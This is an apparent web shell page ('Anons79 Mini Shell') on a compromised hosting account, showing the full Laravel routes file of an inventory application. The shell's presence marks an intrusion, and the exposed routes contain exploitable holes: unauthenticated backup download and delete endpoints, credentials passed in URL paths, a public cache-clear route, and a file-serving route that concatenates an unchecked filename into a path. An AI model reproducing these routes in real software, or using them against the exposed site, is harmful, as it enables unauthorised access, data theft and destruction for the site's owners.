Anons79 Mini Shell

Directory : /home/aplikasiposinfo/public_html/inventoryudit.aplikasipos.info/routes/
Upload File :
Current File : /home/aplikasiposinfo/public_html/inventoryudit.aplikasipos.info/routes/web.php

<?php
use Illuminate\Support\Facades\Artisan;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Route;
use Illuminate\Foundation\Auth\EmailVerificationRequest;
use Illuminate\Http\Request;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/


Route::get('backup', 'BackupController@index');
Route::get('backup/create', 'BackupController@create');
Route::get('backup/download/{file_name}', 'BackupController@download');
Route::get('backup/delete/{file_name}', 'BackupController@delete');


Route::get('/clear-cache', function () {
    $exitCode = Artisan::call('cache:clear');
    dd($exitCode);
});

Route::get('randomcode',function(){
	$kode = '';
	$char = array_merge(range('0', '9'));
	$max = count($char)-1;
	for ($i=0; $i < 15; $i++) { 
		$r = mt_rand(0,$max);
		$kode .= $char[$r];
	}
	return $kode;
});
Route::get('stock/chart','LaporanController@chart');
Route::get('stock/get_total_per_bulan','LaporanController@get_total_per_bulan');
Route::get('stock/get_penerimaan_per_bulan','LaporanController@get_penerimaan_per_bulan');

Route::get('/test_mail','PermintaanBarangController@kirim_email');


Route::get('/', function () {
	if(Auth::user() != null){
		
		return redirect('home');
	}
    return view('auth.login');
});

Auth::routes();

//udit scanner
Route::get('qrcode/cek/{kode}','ApiUditScannerController@cek_sesi');
Route::get('qrcode/scan/{kode}','ApiUditScannerController@tambah_sesi');

Route::get('qrcode/cek_detail/{kode}','ApiUditScannerController@cek_detail');
Route::get('qrcode/scan/{kode}/{detail}','ApiUditScannerController@tambah_detail');

//api
Route::get('merek/get_data/','ApiMerekController@get_data');
Route::get('barang/get_data/','ApiBarangController@get_data');
Route::get('barang/get_data/{id}','ApiBarangController@get_data_by_id');
Route::get('permintaan_barang/get_data/','ApiPermintaanBarangController@get_data');
Route::get('pemesanan_barang/get_data/','ApiPemesananBarangController@get_data');
Route::get('bbm/get_data/','ApiBuktiBarangMasukController@get_data');
Route::get('gudang/get_data/','ApiGudangMasukController@get_data');
Route::get('bbk/get_data/','ApiBuktiBarangKeluarController@get_data');
Route::get('camp/get_data/','ApiCampController@get_data');
Route::get('cek_login/{username}/{password}','ApiLoginController@cek_login');


Route::group(['middleware' => ['auth']] , function(){
	Route::get('ajax/get_supplier/{id}', 'DetailPermintaanBarangController@get_supplier');
	Route::get('ajax/get_detail_pemesanan/{id}', 'PemesananBarangController@get_detail_pemesanan');
	Route::get('ajax/get_detail_bbm/{id}', 'BuktiBarangMasukController@get_detail_bbm');
	Route::get('ajax/get_detail_bbk/{id}', 'BuktiBarangKeluarController@get_detail_bbk');
	Route::get('ajax/cek_pemesanan/{id}', 'PemesananBarangController@cek_pemesanan');
	//Route::get('ajax/get_barang_camp/{id}','CampController@get_barang_camp');
	Route::post('ajax/get_barang_camp','CampController@get_barang_camp');
	Route::get('ajax/get_list_barang_permintaan_barang/{id}/{permintaan_id}','PermintaanBarangController@get_list_barang_permintaan_barang');
	Route::get('ajax/get_permintaan/{id}','PermintaanBarangController@get_permintaan');
	Route::get('ajax/get_pemesanan_lama/{supplier_id}','PemesananBarangController@get_pemesanan_lama');
	Route::get('ajax/get_pemesanan/{id}','PemesananBarangController@get_pemesanan');
	Route::get('ajax/get_kode_unit/{id}','UnitController@get_kode_unit');

	Route::Resource('/job', 'JabatanController');
	Route::Resource('/group', 'GroupController');
	Route::Resource('/lokasi', 'LokasiController');

	Route::get('/home', 'HomeController@index')->name('home');
	Route::post('/user/{id}/ubah_password', 'UserController@ubah_password');
	Route::Resource('/user', 'UserController');
	Route::get('/unit/excel', 'UnitController@excel');
	Route::Resource('/unit', 'UnitController');
	Route::get('/category/excel', 'KategoriController@excel');
	Route::Resource('/category', 'KategoriController');
	Route::Resource('/brand', 'MerekController');
	Route::Resource('/type_unit', 'JenisUnitController');
	Route::Resource('/satuan', 'SatuanController');
	Route::Resource('/item', 'BarangController');
	Route::Resource('/purchase_request', 'PermintaanBarangController');
	Route::get('/purchase_request/{id}/xls/', 'PermintaanBarangController@print_xls');
	Route::get('/purchase_request/{id}/doc/', 'PermintaanBarangController@print_doc');
	Route::get('/purchase_request/{id}/print/', 'PermintaanBarangController@print_out');

	Route::Resource('/detail_purchase_request', 'DetailPermintaanBarangController');

	Route::Resource('/supplier', 'PemasokController');
	Route::Resource('/set_supplier', 'AturPemasokController');
	Route::post('/set_supplier/gabung', 'AturPemasokController@gabung');

	Route::get('/set_supplier/{id}/xls/', 'AturPemasokController@print_xls');
	Route::get('/set_supplier/{id}/doc/', 'AturPemasokController@print_doc');
	Route::Resource('/approval', 'PersetujuanController');
	Route::post('/approval/{id}/detail', 'PersetujuanController@update_detail');


	Route::put('order/detail_baru', 'PemesananBarangController@detail_baru2');
	Route::put('order/{id}/detail_baru', 'PemesananBarangController@detail_baru');
	Route::get('/order/{id}/xls/', 'PemesananBarangController@print_xls');
	Route::Resource('/order', 'PemesananBarangController');
	Route::Resource('/detail_order', 'DetailPemesananBarangController');
	Route::get('/order/doc/{id}/', 'PemesananBarangController@print_doc');
	Route::get('/order/xls/{id}/', 'PemesananBarangController@print_xls');
	
	Route::get('/order/pdf/{id}/', 'PemesananBarangController@print_pdf');
	Route::get('/order/print/{id}/', 'PemesananBarangController@print_out');

	Route::get('/item_in/barcode/{id}', 'BuktiBarangMasukController@barcode');
	Route::get('/item_in/{id}/buat_bbm', 'BuktiBarangMasukController@bbm_baru');
	Route::post('/item_in/{id}/buat_bbm', 'BuktiBarangMasukController@buat_bbm');
	Route::get('/item_in/qrcode/{id}', 'BuktiBarangMasukController@qrcode');
	Route::post('/item_in/get_bbm', 'BuktiBarangMasukController@get_bbm');
	Route::post('/item_in/check_serial', 'BuktiBarangMasukController@check_serial');
	Route::Resource('/item_in', 'BuktiBarangMasukController');
	
	Route::Resource('/detail_item_in', 'DetailBuktiBarangMasukController');
	Route::Resource('/warehouse', 'GudangController');
	Route::get('/warehouse_all', 'GudangController@print_all');


	Route::Resource('/warehouse_use', 'PemakaianGudangController');
	Route::Resource('/camp_list','DapurController');


	Route::get('/item_out/{id}/print/', 'BuktiBarangKeluarController@print_out');
	Route::get('/item_out/{id}/xls/', 'BuktiBarangKeluarController@print_xls');
	Route::get('/item_out/{id}/doc/', 'BuktiBarangKeluarController@print_doc');
	Route::get('/item_out/scan/', 'BuktiBarangKeluarController@scan');
	Route::post('/item_out/scan/', 'BuktiBarangKeluarController@store_scan');
	Route::post('/item_out/scan_barang/', 'BuktiBarangKeluarController@scan_barang');
	Route::Resource('/item_out', 'BuktiBarangKeluarController');
	Route::post('/item_out/new_item/{id}', 'BuktiBarangKeluarController@new_item');
	Route::post('/item_out/send/{id}', 'BuktiBarangKeluarController@send');
	Route::post('/item_out/cancel/{id}', 'BuktiBarangKeluarController@cancel');

	Route::post('/warehouse_udit/check_serial', 'CampController@check_serial');
	Route::Resource('/warehouse', 'GudangController');
	// Route::get('/warehouse_udit/stok_lama', 'CampController@stok_lama');
	// Route::post('/warehouse_udit/stok_lama', 'CampController@tambah_stok_lama');
	Route::Resource('/warehouse_udit', 'CampController');
	Route::Resource('/warehouse_udit_lama', 'CampLamaController');


	Route::get('/item_use/scan', 'PemakaianBarangController@scan');
	Route::post('/item_use/scan', 'PemakaianBarangController@insert_scan');
	Route::Resource('/item_use', 'PemakaianBarangController');
	Route::Resource('/detail_item_use','DetailPemakaianBarangController');
	Route::get('/item_use/print/{id}', 'PemakaianBarangController@print_out');
	Route::get('/item_use/{id}/xls/', 'PemakaianBarangController@print_xls');
	Route::get('/item_use/{id}/doc/', 'PemakaianBarangController@print_doc');

	Route::Resource('/retur_item', 'ReturBarangController');
	Route::get('/retur_item/print/{id}', 'ReturBarangController@print_out');
	Route::get('/retur_item/{id}/xls/', 'ReturBarangController@print_xls');
	Route::get('/retur_item/{id}/doc/', 'ReturBarangController@print_doc');
	Route::Resource('/detail_retur_item', 'DetailReturBarangController');

	Route::Resource('/retur_camp', 'ReturBarangCampController');
	Route::get('/retur_camp/print/{id}', 'ReturBarangCampController@print_out');
	Route::get('/retur_camp/{id}/xls/', 'ReturBarangCampController@print_xls');
	Route::get('/retur_camp/{id}/doc/', 'ReturBarangCampController@print_doc');
	Route::Resource('/detail_retur_camp', 'DetailReturBarangCampController');
	Route::Resource('/detail_retur_camp_lama', 'DetailReturBarangCampLamaController');

	Route::Resource('/log_user', 'AktivitasUserController');


	Route::Resource('/report', 'LaporanController');
	Route::get('/report/pemakaian/{nama}', 'LaporanController@pemakaian');
	Route::get('/report/penerimaan/{nama}', 'LaporanController@penerimaan');
	Route::get('/report/opname/{nama}', 'LaporanController@opname');
	Route::get('/report/pemakaian_per_unit/{nama}','LaporanController@pemakaian_per_unit');
	Route::get('/report/oil/{nama}','LaporanController@oil');
	Route::get('/report/supplier/{nama}', 'LaporanController@supplier');
	Route::get('/report/monitoring/{nama}', 'LaporanController@monitoring');
	Route::get('/report/pemakaian_gudang/{nama}', 'LaporanController@pemakaian_gudang');
	Route::get('/report/piutang/{nama}', 'LaporanController@piutang');
	Route::get('/report/dapur/{nama}', 'LaporanController@dapur');


	Route::get('/report/pemakaian_doc/{nama}', 'LaporanController@pemakaian_doc');
	Route::get('/report/penerimaan_doc/{nama}', 'LaporanController@penerimaan_doc');
	Route::get('/report/opname_doc/{nama}', 'LaporanController@opname_doc');
	Route::get('/report/pemakaian_per_unit_doc/{nama}','LaporanController@pemakaian_per_unit_doc');
	Route::get('/report/oil_doc/{nama}','LaporanController@oil_doc');

	Route::get('/report/bbm/{nama}','LaporanController@bbm');

	Route::Resource('/monitoring', 'MonitoringUnitController');

	Route::Resource('/arsip', 'ArsipController');
	Route::post('/item_baru', 'PermintaanBarangController@barang_baru');



	
});

Route::get('files/arsip/{filename}', function ($filename)
	{
		$path = storage_path('app\public\\arsip\\' . $filename);

		if (!File::exists($path)) {
			abort(404);
		}

		$file = File::get($path);
		$type = File::mimeType($path);

		$response = Response::make($file, 200);
		$response->header("Content-Type", $type);

		return $response;
	});





Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]